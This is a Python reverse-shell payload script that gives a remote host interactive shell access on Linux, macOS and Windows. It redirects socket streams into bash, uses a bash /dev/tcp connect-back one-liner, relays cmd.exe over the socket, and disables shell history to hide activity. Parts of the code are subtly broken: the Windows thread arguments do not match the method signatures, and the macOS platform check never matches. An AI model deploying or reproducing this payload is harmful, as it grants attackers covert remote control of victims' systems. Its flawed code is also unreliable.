#!/usr/bin/env python3
"""
Author       - pyCity
Date         - 3/29/2019
Version      - 1.0

Usage:       - python cross_shell.py 127.0.0.1 4444

Description: - Cross platform reverse shell using python 3
             - Supports windows and linux
"""
import os
import socket
import subprocess
import threading
import argparse

from platform import system


class ReverseShell:

    def __init__(self, host, port):
        self.sock = socket.socket(2, 1)  # Equivalent to (socket.AF_INET, socket.SOCK_STREAM)
        self.host = host
        self.port = port
        try:
            self.sock.connect((self.host, self.port))
        except socket.error as Hell:
            raise Hell

    def linux(self):
        [os.dup2(self.sock.fileno(), i) for i in range(3)]  # Standard stdin, stderr, and stdout fileno dups
        os.putenv("HISTFILE", "/dev/null")      # Modify environment variable to not record history
        subprocess.run(["/bin/bash", "-i"])
        self.sock.close()

    def mac(self):
        cmd = "bash -i >& /dev/tcp/{}/{} 0>&1".format(self.host, self.port)
        subprocess.run(cmd, shell=True)
        self.sock.close()

    def windows(self):
        """Run cmd.exe as a subprocess, start two threads:
           one for socket -> host, and for host -> socket"""

        proc = subprocess.Popen(["\\windows\\system32\\cmd.exe"], stdout=subprocess.PIPE,
                                stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
        s2p_thread = threading.Thread(target=self.sock2proc, args=[self.sock, proc])
        s2p_thread.daemon = True
        s2p_thread.start()
        p2s_thread = threading.Thread(target=self.proc2sock, args=[self.sock, proc])
        p2s_thread.daemon = True
        p2s_thread.start()
        proc.wait()
        self.sock.close()

    def sock2proc(self, proc):
        """First thread for windows subprocess. Receive data from socket, run it in our subprocess"""

        while True:
            data = self.sock.recv(1024)
            if len(data) > 0:
                proc.stdin.write(data)

    def proc2sock(self, proc):
        """Second thread for windows subprocess. Read output from subprocess, send back to host"""

        while True:
            self.sock.send(proc.stdout.read(1))


def main():
    shell = ReverseShell(args.host, args.port)
    if system() == "Linux":
        shell.linux()
    elif system() == "OSX":
        shell.mac()
    elif system() == "Windows":
        shell.windows()


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Python 3 Multi-Platform Reverse TCP single stage payload")
    parser.add_argument("host", help="Remote host's IP")
    parser.add_argument("port", help="Remote host's port", type=int)
    args = parser.parse_args()
    main()
